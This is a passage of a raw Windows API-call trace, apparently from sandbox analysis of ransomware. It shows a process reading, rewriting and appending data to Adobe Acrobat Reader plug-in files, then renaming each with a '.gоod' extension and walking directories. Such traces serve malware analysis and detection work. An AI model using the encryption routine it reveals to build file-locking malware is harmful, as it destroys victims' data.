DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0102.189] GetFileType (hFile=0x7c8) returned 0x1 [0102.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0102.189] GetFileType (hFile=0x7c8) returned 0x1 [0102.189] ReadFile (in: hFile=0x7c8, lpBuffer=0x3594f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x3594f88*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0102.222] CloseHandle (hObject=0x7c8) returned 1 [0102.222] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", lpFilePart=0x0) returned 0x54 [0102.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0102.223] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0102.223] GetFileType (hFile=0x7c8) returned 0x1 [0102.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0102.223] GetFileType (hFile=0x7c8) returned 0x1 [0102.223] WriteFile (in: hFile=0x7c8, lpBuffer=0x3593cb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x3593cb0*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0102.223] CloseHandle (hObject=0x7c8) returned 1 [0102.223] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", lpFilePart=0x0) returned 0x54 [0102.223] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api.gоod", lpFilePart=0x0) returned 0x59 [0102.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0102.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda6f4116, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3924dd37, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d673)) returned 1 [0102.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0102.223] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api.gоod")) returned 1 [0102.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", lpFilePart=0x0) returned 0x4a [0102.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0102.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api"), fInfoLevelId=0x0, lpFileInformation=0x3611588 | out: lpFileInformation=0x3611588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x24063)) returned 1 [0102.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0102.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", lpFilePart=0x0) returned 0x4a [0102.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0102.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0102.224] GetFileType (hFile=0x7c8) returned 0x1 [0102.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0102.225] GetFileType (hFile=0x7c8) returned 0x1 [0102.225] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0102.225] ReadFile (in: hFile=0x7c8, lpBuffer=0x36119a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x36119a0*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0102.484] CloseHandle (hObject=0x7c8) returned 1 [0102.484] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", lpFilePart=0x0) returned 0x4a [0102.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0102.484] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0102.484] GetFileType (hFile=0x7c8) returned 0x1 [0102.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0102.484] GetFileType (hFile=0x7c8) returned 0x1 [0102.484] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x24063 [0102.484] WriteFile (in: hFile=0x7c8, lpBuffer=0x39006c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x39006c8*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0102.740] CloseHandle (hObject=0x7c8) returned 1 [0102.741] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", lpFilePart=0x0) returned 0x4a [0102.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0102.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0102.741] GetFileType (hFile=0x7c8) returned 0x1 [0102.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0102.741] GetFileType (hFile=0x7c8) returned 0x1 [0102.741] ReadFile (in: hFile=0x7c8, lpBuffer=0x34b4b18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x34b4b18*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0102.862] CloseHandle (hObject=0x7c8) returned 1 [0102.862] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", lpFilePart=0x0) returned 0x4a [0102.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0102.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0102.862] GetFileType (hFile=0x7c8) returned 0x1 [0102.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0102.863] GetFileType (hFile=0x7c8) returned 0x1 [0102.863] WriteFile (in: hFile=0x7c8, lpBuffer=0x34b3870*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x34b3870*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0102.863] CloseHandle (hObject=0x7c8) returned 1 [0102.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", lpFilePart=0x0) returned 0x4a [0102.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api.gоod", lpFilePart=0x0) returned 0x4f [0102.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0102.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x39869acb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24073)) returned 1 [0102.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0102.863] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api.gоod")) returned 1 [0102.864] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", lpFilePart=0x0) returned 0x4a [0102.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0102.864] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api"), fInfoLevelId=0x0, lpFileInformation=0x3548d90 | out: lpFileInformation=0x3548d90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63)) returned 1 [0102.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0102.864] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", lpFilePart=0x0) returned 0x4a [0102.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0102.864] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0102.864] GetFileType (hFile=0x7c8) returned 0x1 [0102.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0102.865] GetFileType (hFile=0x7c8) returned 0x1 [0102.865] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0102.865] ReadFile (in: hFile=0x7c8, lpBuffer=0x35491a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x35491a8*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0103.451] CloseHandle (hObject=0x7c8) returned 1 [0103.451] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", lpFilePart=0x0) returned 0x4a [0103.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0103.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0103.451] GetFileType (hFile=0x7c8) returned 0x1 [0103.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0103.451] GetFileType (hFile=0x7c8) returned 0x1 [0103.451] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x49a63 [0103.451] WriteFile (in: hFile=0x7c8, lpBuffer=0x3646698*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3646698*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0103.453] CloseHandle (hObject=0x7c8) returned 1 [0103.453] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", lpFilePart=0x0) returned 0x4a [0103.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0103.453] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0103.454] GetFileType (hFile=0x7c8) returned 0x1 [0103.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0103.454] GetFileType (hFile=0x7c8) returned 0x1 [0103.454] ReadFile (in: hFile=0x7c8, lpBuffer=0x3648978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x3648978*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0103.492] CloseHandle (hObject=0x7c8) returned 1 [0103.492] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", lpFilePart=0x0) returned 0x4a [0103.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0103.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0103.493] GetFileType (hFile=0x7c8) returned 0x1 [0103.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0103.493] GetFileType (hFile=0x7c8) returned 0x1 [0103.493] WriteFile (in: hFile=0x7c8, lpBuffer=0x36476d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x36476d0*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0103.493] CloseHandle (hObject=0x7c8) returned 1 [0103.494] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", lpFilePart=0x0) returned 0x4a [0103.494] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api.gоod", lpFilePart=0x0) returned 0x4f [0103.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0103.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x39e71f71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x49a73)) returned 1 [0103.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0103.494] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api.gоod")) returned 1 [0103.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0103.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm", lpFilePart=0x0) returned 0x47 [0103.495] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.962] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.962] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342a67ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb416, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0103.962] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1 [0103.962] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0103.963] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0103.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0103.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0103.963] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm", lpFilePart=0x0) returned 0x47 [0103.963] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.963] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: 